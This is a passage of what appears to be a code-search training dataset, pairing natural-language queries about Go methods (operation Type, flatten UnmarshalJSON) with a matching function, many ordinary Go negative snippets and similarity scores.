_ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func Flatten[T any](collection [][]T) []T {\n\tresult := []T{}\n\n\tfor _, item := range collection {\n\t\tresult = append(result, item...)\n\t}\n\n\treturn result\n}", "func (m *matcher) apply(f func(c compilable)) {\n\tif m.root == nil {\n\t\treturn\n\t}\n\tm.root.apply(f)\n}", "func (r ApiGetHyperflexServerModelListRequest) Apply(apply string) ApiGetHyperflexServerModelListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (c *Context) Apply() (*State, error) {\n\tdefer c.acquireRun(\"apply\")()\n\n\t// Copy our own state\n\tc.state = c.state.DeepCopy()\n\n\t// Build the graph.\n\tgraph, err := c.Graph(GraphTypeApply, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Determine the operation\n\toperation := walkApply\n\tif c.destroy {\n\t\toperation = walkDestroy\n\t}\n\n\t// Walk the graph\n\twalker, err := c.walk(graph, operation)\n\tif len(walker.ValidationErrors) > 0 {\n\t\terr = multierror.Append(err, walker.ValidationErrors...)\n\t}\n\n\t// Clean out any unused things\n\tc.state.prune()\n\n\treturn c.state, err\n}", "func (s *Synk) Apply(\n\tctx context.Context,\n\tname string,\n\topts *ApplyOptions,\n\tresources ...*unstructured.Unstructured,\n) (*apps.ResourceSet, error) {\n\tif opts == nil {\n\t\topts = &ApplyOptions{}\n\t}\n\topts.name = name\n\n\t// applyAll() updates the resources in place. To avoid modifying the\n\t// caller's slice, copy the resources first.\n\tresources = append([]*unstructured.Unstructured(nil), resources...)\n\tfor i, r := range resources {\n\t\tresources[i] = r.DeepCopy()\n\t}\n\n\trs, resources, err := s.initialize(ctx, opts, resources...)\n\tif err != nil {\n\t\treturn rs, err\n\t}\n\tresults, applyErr := s.applyAll(ctx, rs, opts, resources...)\n\n\tif err := s.updateResourceSetStatus(ctx, rs, results); err != nil {\n\t\treturn rs, err\n\t}\n\tif applyErr == nil {\n\t\tif err := s.deleteResourceSets(ctx, opts.name, opts.version); err != nil {\n\t\t\treturn rs, err\n\t\t}\n\t}\n\treturn rs, applyErr\n}", "func (e EdgeMetadatas) Flatten() EdgeMetadata {\n\tresult := EdgeMetadata{}\n\tfor _, v := range e {\n\t\tresult = result.Flatten(v)\n\t}\n\treturn result\n}", "func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s Sequence) apply(v reflect.Value) {\n\tv = indirect(v)\n\tswitch v.Kind() {\n\tcase reflect.Slice:\n\t\tif v.Cap() >= len(s.elements) {\n\t\t\tv.SetLen(len(s.elements))\n\t\t} else {\n\t\t\tv.Set(reflect.MakeSlice(v.Type(), len(s.elements), len(s.elements)))\n\t\t}\n\tcase reflect.Array:\n\t\tif v.Len() != len(s.elements) {\n\t\t\ts.error(InvalidArrayLengthError{Len: v.Len(), Expected: len(s.elements)})\n\t\t}\n\tdefault:\n\t\tif !reflect.TypeOf(s).AssignableTo(v.Type()) {\n\t\t\ts.error(InvalidSliceError{Type: v.Type()})\n\t\t}\n\t\tv.Set(reflect.ValueOf(s))\n\t\treturn\n\t}\n\n\tfor i, n := range s.elements {\n\t\te := reflect.New(v.Type().Elem()).Elem()\n\t\tapply(n, e)\n\t\tv.Index(i).Set(e)\n\t}\n}", "func (r ApiGetHyperflexHxdpVersionListRequest) Apply(apply string) ApiGetHyperflexHxdpVersionListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (node *Node) flatten(arr *[]*Node) {\n\tif node == nil {\n\t\treturn\n\t}\n\n\tnode.Left.flatten(arr)\n\n\t*arr = append(*arr, node)\n\n\tnode.Right.flatten(arr)\n}", "func (l List) Apply(h *HTML) {\n\tfor _, m := range l {\n\t\tapply(m, h)\n\t}\n}", "func (r ApiGetHyperflexHealthCheckPackageChecksumListRequest) Apply(apply string) ApiGetHyperflexHealthCheckPackageChecksumListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (fs *FilterSet) Apply(fields map[interface{}]string) []map[interface{}]string {\n\tlastset := []map[interface{}]string{fields}\n\tfor _, fltr := range fs.filters {\n\t\tnewset := []map[interface{}]string{}\n\t\tfor _, mf := range lastset {\n\t\t\tfor _, nf := range fltr.Apply(mf) {\n\t\t\t\tif len(nf) > 0 {\n\t\t\t\t\tnewset = append(newset, nf)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// short-circuit nulls\n\t\tif len(newset) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tlastset = newset\n\t}\n\treturn lastset\n}", "func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\n\t// Apply snapshot\n\tgm.applySnapshot(gmp, apply)\n\t// Apply entries.\n\tgm.applyEntries(gmp, apply)\n\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\n\t// or applied index might be greater than the last index in raft storage.\n\t// since the raft routine might be slower than apply routine.\n\t<-apply.notifyc\n\t// Create snapshot if necessary\n\tgm.triggerSnapshot(gmp)\n}", "func Apply(file []*Tag, table map[string]map[string]*Tag) {\n\tobj := \"\"\n\taux := \"\"\n\t\n\tisPlant := false\n\t\n\tfor _, tag := range file {\n\t\tif _, ok := objTypes[tag.ID]; ok {\n\t\t\tif len(tag.Params) != 1 {\n\t\t\t\t// Bad param count, definitely an error.\n\t\t\t\tobj = \"\"\n\t\t\t\taux = \"\"\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tisPlant = tag.ID == \"PLANT\"\n\t\t\t\n\t\t\tobj = tag.Params[0]\n\t\t\taux = \"\"\n\t\t\tcontinue\n\t\t}\n\t\t\n\t\tif isPlant {\n\t\t\tif tag.ID == \"GROWTH\" {\n\t\t\t\tif len(tag.Params) != 1 {\n\t\t\t\t\t// Bad param count, definitely an error.\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\taux = \"GROWTH_\" + tag.Params[0]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\t\n\t\tif obj != \"\" {\n\t\t\tswapIfExist(tag, obj, aux, table)\n\t\t}\n\t}\n}", "func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilterMap(c *Client, i interface{}) map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter {\n\ta, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\n\t}\n\n\tif len(a) == 0 {\n\t\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\n\t}\n\n\titems := make(map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter)\n\tfor k, item := range a {\n\t\titems[k] = *flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilter(c, item.(map[string]interface{}))\n\t}\n\n\treturn items\n}", "func (r ApiGetHyperflexHealthCheckExecutionSnapshotListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionSnapshotListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexNodeProfileListRequest) Apply(apply string) ApiGetHyperflexNodeProfileListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (b *Bilateral) Apply(t *Tensor) *Tensor {\n\tdistances := NewTensor(b.KernelSize, b.KernelSize, 1)\n\tcenter := b.KernelSize / 2\n\tfor i := 0; i < b.KernelSize; i++ {\n\t\tfor j := 0; j < b.KernelSize; j++ {\n\t\t\t*distances.At(i, j, 0) = float32((i-center)*(i-center) + (j-center)*(j-center))\n\t\t}\n\t}\n\n\t// Pad with very large negative numbers to prevent\n\t// the filter from incorporating the padding.\n\tpadded := t.Add(100).Pad(center, center, center, center).Add(-100)\n\tout := NewTensor(t.Height, t.Width, t.Depth)\n\tPatches(padded, b.KernelSize, 1, func(idx int, patch *Tensor) {\n\t\tb.blurPatch(distances, patch, out.Data[idx*out.Depth:(idx+1)*out.Depth])\n\t})\n\n\treturn out\n}" ]
[ "0.60208964", "0.5929402", "0.57103777", "0.5599777", "0.54690814", "0.537854", "0.53584355", "0.53083646", "0.528712", "0.523394", "0.52295184", "0.52264786", "0.51405144", "0.51041824", "0.5085328", "0.50626296", "0.5052609", "0.5046943", "0.503522", "0.5028703", "0.50241", "0.5018674", "0.5008026", "0.4963799", "0.49434268", "0.49425158", "0.49419606", "0.49250615", "0.49138528", "0.49073416", "0.49037108", "0.48574927", "0.4854525", "0.48442927", "0.4829036", "0.48173314", "0.4812788", "0.48118097", "0.4810237", "0.4804456", "0.48010707", "0.47906774", "0.47847736", "0.47806653", "0.47796077", "0.4775787", "0.47717565", "0.4762623", "0.47606266", "0.47488353", "0.4741367", "0.4740301", "0.47218606", "0.47194344", "0.47143504", "0.467902", "0.46769792", "0.4674216", "0.46637303", "0.46590456", "0.46565467", "0.46533537", "0.4653021", "0.46515468", "0.46513718", "0.46502125", "0.46485633", "0.46378997", "0.46348956", "0.46206826", "0.4611692", "0.46080387", "0.46000516", "0.45964876", "0.45879093", "0.45829657", "0.45812288", "0.457284", "0.45669734", "0.45669734", "0.45655394", "0.4563075", "0.45610678", "0.45603108", "0.45593598", "0.4549939", "0.4548393", "0.45403793", "0.4537825", "0.4536092", "0.45355368", "0.4533137", "0.45321774", "0.45310405", "0.45267385", "0.4526014", "0.45238167", "0.4520279", "0.45161757", "0.45156264" ]
0.7429943
0
Type will return the type of operation
func (op *OpFlatten) Type() string { return "flatten" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}", "func (op *OpAdd) Type() string {\n\treturn \"add\"\n}", "func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}", "func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}", "func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}", "func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}", "func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}", "func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}", "func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}", "func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}", "func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}", "func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}", "func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}", "func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}", "func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}", "func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}", "func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}", "func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}", "func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}", "func (*Int) GetOp() string { return \"Int\" }", "func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}", "func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}", "func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }", "func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}", "func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}", "func (s Spec) Type() string {\n\treturn \"exec\"\n}", "func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}", "func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}", "func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (m *ToolMutation) Type() string {\n\treturn m.typ\n}", "func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}", "func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}", "func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}", "func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}", "func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}", "func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}", "func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}", "func (fn NoArgFunc) Type() Type { return fn.SQLType }", "func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}", "func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}", "func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}", "func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (op *OpMove) Type() string {\n\treturn \"move\"\n}", "func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}", "func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}", "func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}", "func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}", "func (obj *standard) Operation() Operation {\n\treturn obj.op\n}", "func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}", "func (r *Reconciler) Type() string {\n\treturn Type\n}", "func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}", "func (m *SystemMutation) Type() string {\n\treturn m.typ\n}", "func (f *Function) Type() ObjectType { return FUNCTION_OBJ }", "func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}", "func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}", "func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}", "func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}", "func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}", "func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}", "func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}", "func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}", "func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}", "func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (Instr) Type() sql.Type { return sql.Int64 }", "func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}", "func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}", "func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}", "func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}", "func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}", "func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}", "func (m *HexMutation) Type() string {\n\treturn m.typ\n}", "func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}", "func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *StockMutation) Type() string {\n\treturn m.typ\n}", "func (o *Function) Type() *Type {\n\treturn FunctionType\n}", "func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}", "func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}", "func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}", "func (c *Call) Type() Type {\n\treturn c.ExprType\n}", "func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}", "func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}", "func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}" ]
[ "0.73397994", "0.7331954", "0.72103316", "0.70835686", "0.7061754", "0.6980852", "0.69322", "0.68823165", "0.6846249", "0.684079", "0.6821877", "0.67526066", "0.6746585", "0.674267", "0.6730284", "0.67165416", "0.6710324", "0.66475177", "0.66334957", "0.6620575", "0.6574164", "0.6569285", "0.6566755", "0.6549322", "0.6531823", "0.65267223", "0.6524067", "0.6494353", "0.6476448", "0.6455802", "0.64514893", "0.64397943", "0.64392865", "0.64281154", "0.6419435", "0.6413713", "0.63886774", "0.63807184", "0.6375125", "0.6373742", "0.63721126", "0.63579583", "0.63417757", "0.6332697", "0.6328391", "0.6324545", "0.631497", "0.62952644", "0.62910163", "0.62861925", "0.62844765", "0.6274955", "0.62650305", "0.62640405", "0.62523085", "0.6252087", "0.6239459", "0.62389636", "0.6229541", "0.62033015", "0.6200374", "0.61991316", "0.6193402", "0.61895406", "0.61791986", "0.6175558", "0.6175285", "0.61724573", "0.61557966", "0.61456096", "0.61413467", "0.6141278", "0.6140642", "0.61386997", "0.61329275", "0.61257845", "0.6124157", "0.6117993", "0.61164016", "0.6114104", "0.611341", "0.6112936", "0.6107847", "0.6092411", "0.6090323", "0.6079666", "0.6078997", "0.607785", "0.6074464", "0.60626715", "0.6057602", "0.60575134", "0.6047113", "0.60389787", "0.603745", "0.60356474", "0.60354406", "0.6028229", "0.60229194", "0.6016492" ]
0.68392855
10
UnmarshalJSON will unmarshal JSON into a flatten operation
func (op *OpFlatten) UnmarshalJSON(raw []byte) error { return json.Unmarshal(raw, &op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v *flattenedField) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker35(&r, v)\n\treturn r.Error()\n}", "func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}", "func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *TenantListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &t.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *TransformCollection) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"@odata.nextLink\":\n\t\t\terr = unpopulate(val, \"ODataNextLink\", &t.ODataNextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func UnmarshalFromJSON(data []byte, target interface{}) error {\n\tvar ctx map[string]interface{}\n\terr := json.Unmarshal(data, &ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn Unmarshal(ctx, target)\n}", "func (v *IngredientArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\n\treturn r.Error()\n}", "func (v *VisitArray) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\n\treturn r.Error()\n}", "func (agg *aggregationInfo) UnmarshalJSON(b []byte) error {\n\ttype aggregationRequestX aggregationInfo // prevent recursion\n\tvar temp aggregationRequestX\n\n\tif err := json.Unmarshal(b, &temp); err != nil {\n\t\treturn err\n\t}\n\n\t*agg = aggregationInfo(temp)\n\tagg.AggregationProps = map[string]interface{}{}\n\n\t// Capture aggregation type and body as mentioned in docs here:\n\t// https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html#_structuring_aggregations\n\tvar aggregationBody map[string]map[string]interface{}\n\tif err := json.Unmarshal(b, &aggregationBody); err != nil {\n\t\treturn err\n\t}\n\n\t// Based on elasticsearch, the underlying assumption made by this loop is that\n\t// aggregationBody will always only contain a map between the type of aggregation\n\t// to the aggregation body\n\tfor k, v := range aggregationBody {\n\t\t// These fields have special meaning in the request and this loop does not care about them\n\t\tif k == \"aggs\" || k == \"meta\" || k == \"aggregations\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tagg.AggregationProps[k] = v\n\t}\n\n\treturn nil\n}", "func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (u *Unstructured) UnmarshalJSON(b []byte) error {\n\t_, _, err := UnstructuredJSONScheme.Decode(b, nil, u)\n\treturn err\n}", "func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *Ingredient) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\n\treturn r.Error()\n}", "func (j *Data) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}", "func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}", "func (t *Transform) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &t.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", 